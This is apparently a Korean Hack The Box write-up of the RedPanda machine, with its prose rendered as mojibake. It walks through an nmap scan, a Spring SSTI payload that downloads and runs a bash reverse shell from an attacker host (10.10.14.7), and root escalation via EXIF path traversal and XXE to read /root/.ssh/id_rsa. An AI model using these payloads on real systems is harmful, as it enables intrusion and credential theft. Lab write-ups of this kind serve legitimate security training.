[Hack The Box] RedPanda νμ΄
π‘ Hack-The-Box RedPanda νμ΄ μ λλ€.
λ¬Έμ
Enumeration
βββ(rootγΏkali)-[~kali/Desktop]
ββ# nmap -sV -p - -vv --min-rate 3000 10.129.87.207
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-19 10:10 EST
Discovered open port 8080/tcp on 10.129.87.207
Discovered open port 22/tcp on 10.129.87.207
Host is up, received echo-reply ttl 63 (0.32s latency).
Scanned at 2023-02-19 10:10:30 EST for 89s
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy syn-ack ttl 63
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
κ²μ κΈ°λ₯μ μ΄μ©ν΄ 보면 μ¬μ©μμ μ
λ ₯κ°μ΄ κ·Έλλ‘ νλ©΄μ λ€μ λμ΅λλ€. μ΄λ¬ν κΈ°λ₯μ κ²½μ° XSS
, SSTI
μ·¨μ½μ μ νμΈν΄ λ΄
λλ€.
*{3*3}
μ μ λ ₯νλ©΄ λ€μκ³Ό κ°μ΄ μ€νλ κ²°κ³Όκ° λμ΅λλ€.
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
μ΄μ SSTI μ·¨μ½μ μ μ΄μ©νμ¬ μμ νλν©λλ€.
칼리 리λ μ€μμ λ¨Όμ λ€μκ³Ό κ°μ΄ μ€λΉλ₯Ό ν΄λ‘λλ€.
echo "bash -i >& /dev/tcp/10.10.14.7/1234 0>&1" > revshell.sh
python -m http.server 80
nc -nlvp 1234
νμ΄λ‘λλ₯Ό μ μ‘ν©λλ€.
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl http://10.10.14.7/revshell.sh -o /tmp/revshell.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod 777 /tmp/revshell.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('bash /tmp/revshell.sh').getInputStream())}
Privilege Escalation
pspy64 & cron
pspy64λ₯Ό μ€νν΄μ cronμ΄ λμνλμ§ νμΈν©λλ€.
root κΆνμΌλ‘ μ€νλλ cron μμ μ΄ μ‘΄μ¬ν©λλ€.
ν΄λΉ μλ° νλ‘κ·Έλ¨μ ꡬμ±μ λ€μκ³Ό κ°μ΅λλ€. μμ€μ½λ νμΌμΈ App.java νμΌμ λΆμν©λλ€.
woodenk@redpanda:/opt/credit-score/LogParser/final$ ls -R
ls -R
.:
mvnw
pom.xml
pom.xml.bak
src
target
./src:
main
test
./src/main:
java
./src/main/java:
com
./src/main/java/com:
logparser
./src/main/java/com/logparser:
App.java
./src/test:
java
./src/test/java:
com
./src/test/java/com:
logparser
./src/test/java/com/logparser:
AppTest.java
./target:
archive-tmp
classes
final-1.0-jar-with-dependencies.jar
generated-sources
maven-status
./target/archive-tmp:
./target/classes:
com
./target/classes/com:
logparser
./target/classes/com/logparser:
App.class
./target/generated-sources:
annotations
./target/generated-sources/annotations:
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename){
if(filename.contains(".jpg"))
{
return true;
}
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
// log νμΌμ λΆλ¬μ¨λ€.
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
// λ‘κ·ΈνμΌμ ν μ€μ© λΆλ¬μ¨λ€.
String line = log_reader.nextLine();
if(!isImage(line))
{ // μ΄λ―Έμ§μΈμ§ νμΈ(.jpg λ¬Έμμ΄ μ‘΄μ¬νλμ§ νμΈ)
continue;
}
// ν μ€μ© νμ±νλ€.
Map parsed_data = parseLog(line);
// νμ±λ λ°μ΄ν°μμ uri μ 보λ₯Ό ν΅ν΄μ getArtist ν¨μ νΈμΆ
String artist = getArtist(parsed_data.get("uri").toString());
// getArtist ν¨μμ κ²°κ³Όλ₯Ό ν΅ν΄μ xmlPath μ μ₯
String xmlPath = "/credits/" + artist + "_creds.xml";
// xmlPathμ uri μ 보λ₯Ό addviewTo ν¨μλ‘ μ λ¬
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
μ½λλ λ€μκ³Ό κ°μ΄ λ‘κ·ΈνμΌμ νμ±ν©λλ€.
- /opt/panda_search/redpanda.log νμΌμμ λ‘κ·Έλ₯Ό ν μ€μ© μ½μ΄λ€μΈλ€.
- ν΄λΉ ν μ€μμ
.jpg
λ¬Έμμ΄μ΄ μ‘΄μ¬νλμ§ νμΈνλ€. ||
λ₯Ό κΈ°μ€μΌλ‘ λ¬Έμμ΄λ€μ λΆλ¦¬. μ΄ μ€, μ¬μ©λλ λ°μ΄ν°λ 4λ²μ§Έ λΈλ‘μΌλ‘ μ΄ λ°μ΄ν°κ°uri
μ λ³΄λ‘ μ¬μ©.- β/opt/panda_search/src/main/resources/staticβ + uri μ κ²½λ‘μ μλ νμΌμ exif μ 보λ₯Ό μ½μ΄μ artist λ°μ΄ν° λ°ν
-> uri :/../../../../../../tmp/~~~
λ‘ μνλ κ²½λ‘μ νμΌμ μ½μ μ μμ - λ°νλ artist μ 보λ₯Ό ν λλ‘ String xmlPath = β/credits/β + artist + β_creds.xmlβ μ κ°μ΄ xmlPath μ§μ
-> artist μ 보λ₯Ό
../tmp/aa
μ κ°μ΄ μ§μ νμ¬/tmp/aa_creds.xml
νμΌμ κ°λ¦¬ν€λλ‘ ν μ μμ - artist_creds.xml νμΌμ νμ±νμ¬ μ μ₯
-> κΈ°μ‘΄ xml νμΌμ
xxe
μ·¨μ½μ μ μ΄μ©ν΄ μμμ νμΌμ μ½μ μ μμ
μμ μ·¨μ½μ λ€μ νμ©νμ¬ xxe μ·¨μ½μ μΌλ‘ λμ μλ²μμ μμμ νμΌμ μ½μ μ μμ΅λλ€. root κΆνμ μ»κΈ° μν΄μ ssh private key νμΌμΈ /root/.ssh/id_rsa
νμΌμ μ½μ΄μ΅λλ€.
LFI & XXE
/tmp/lazy.jpg νμΌμ λ€μ΄λ°κ³ exiftoolμ νμ©νμ¬ exif μ 보λ₯Ό λ³μ‘°ν©λλ€.
xxeλ₯Ό λ°μμν¬ xml νμΌμ μμ±ν©λλ€.
μμ νμΌλ€μ κ²½λ‘λ₯Ό κ³ λ €νμ¬ λμ μλ²μ μ λ‘λ ν©λλ€.
λ‘κ·ΈνμΌμ λ€μκ³Ό κ°μ΄ μμ±λλλ‘ ν©λλ€.
echo "1||2||3||/../../../../../../../../../tmp/lazy.jpg" > /opt/panda_search/redpanda.log
μ μ κΈ°λ€λ¦° νμ, xmlνμΌμ νμΈν©λλ€.
SSH
ν€ λ°μ΄ν°λ₯Ό 칼리 리λ μ€μ μ μ₯νκ³ λ€μκ³Ό κ°μ΄ μ μνλ©΄ rootλ‘ μ μμ΄ κ°λ₯ν©λλ€.
λκΈλ¨κΈ°κΈ°